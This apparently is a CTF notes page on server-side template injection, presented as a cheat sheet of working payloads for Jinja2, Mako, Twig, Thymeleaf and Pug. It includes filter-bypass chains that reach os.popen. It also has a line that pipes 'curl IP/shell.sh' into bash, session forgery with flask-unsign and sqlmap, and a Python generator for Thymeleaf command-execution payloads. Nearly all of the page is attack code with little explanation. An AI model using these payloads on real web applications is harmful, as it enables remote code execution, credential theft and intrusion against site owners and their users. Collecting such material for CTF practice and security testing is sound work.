> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/ctf-notes/appsec/ssti.md). # SSTI ## Flask-Jinja2 * **Get the secret key** ``` {{ config }} ``` ``` {{config.getitems()}} # Bypass "." filter {{config|attr('getitems')()}} ``` * **Decrypt the cookie** ``` flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' ``` * **SQLi in flask session with sqlmap** ``` sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` * **Bypass filtered ->** `'``_``.``{{}}``if``for` ``` {% with abuqasem=request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo | base64 -d | bash -i")["read"]() %}abuqasem{% endwith %} ``` To exploit SSTI by image upload ``` {% with abuqasem=request["application"]["__globals__"]["__builtins__"]["__import__"]("os")["popen"]("curl IP/shell.sh | bash")["read"]() %} {{ abuqasem }} {% endwith %} ``` * **Bypass filtered ->** `()` ``` # This was injected in an email field "{{request.application['__globals__'].__builtins__.__import__﹙'os'﹚.popen﹙'cat flag.txt'﹚.read﹙﹚}}"@deafcon.com ``` > Link: * **Bypass Filtered ('.','\_','|join','\[',']','mro' ,'base','import','popen','builtins','os')** ``` {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuil''tins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimp''ort\x5f\x5f')('o''s')|attr('po''pen')('id')|attr('read')()}} ``` * **Subprocess.Popen** ``` {{ [].__class__.__mro__[-1].__subclasses__()[233](["/usr/local/bin/score","9b9400f8-e969-47ca-9965-c7516f73d0e7"]).communicate() }} {{ [].__class__.__mro__[-1].__subclasses__()[233]("whoami",shell=True,stdout=-1).communicate() }} ``` > **Note**: Try playing with stdout descriptor to get ouptut. * Unique list of payloads * ## Mako ``` ${self.template.module.runtime.util.os.popen('cat+/flag.txt').read() ``` More payloads: ## Twig 1.9 ``` {{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('uname')}} ``` ## SpringBoot ### Thymleaf-engine ``` Variable expression ： ${...} Select variable expression ： *{...} Message expression ： #{....} link URL expression ： @{...} Fragment Expression ： ~{...} ``` * Read `/etc/passwd` ``` *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` ### Exploit Script ``` #!/usr/bin/python3 from sys import argv cmd = list(argv[1].strip()) print("Payload: ", cmd , end="\n\n") converted = [ord(c) for c in cmd] base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec' end_payload = '.getInputStream())}' count = 1 for i in converted: if count == 1: base_payload += f"(T(java.lang.Character).toString({i}).concat" count += 1 elif count == len(converted): base_payload += f"(T(java.lang.Character).toString({i})))" else: base_payload += f"(T(java.lang.Character).toString({i})).concat" count += 1 print(base_payload + end_payload) ``` ### References * * ## Pug Bypass the following blacklist ``` global process mainModule require root child_process exec constructor execSync spawn eval include new Function ! \\ [ ] ``` Payload: ``` %23{inspector=(obj)=>Object.values(Object.getOwnPropertyDescriptors(obj))} %23{gadgets=inspector(gadgets=this.__proto__)} %23{gadgets=gadgets.map(x=>inspector(x.value.__proto__).map(y=>y.value).filter(Boolean))} %23{func=gadgets.pop().shift()} %23{proc=func('return this.pro'+'cess')()} %23{proc=Object.entries(proc).pop().pop()} %23{proc=Object.entries(proc.__proto__)} %23{proc.pop()} %23{loader=proc.pop().pop()} %23{chproc=loader('child_pr'+'ocess')} %23{chproc=Object.entries(chproc)} %23{sh=chproc.pop().pop()} %23{sh('ls').stdout} ``` ## Further reading * * * / * * --- # Agent Instructions This documentation is published with GitBook. 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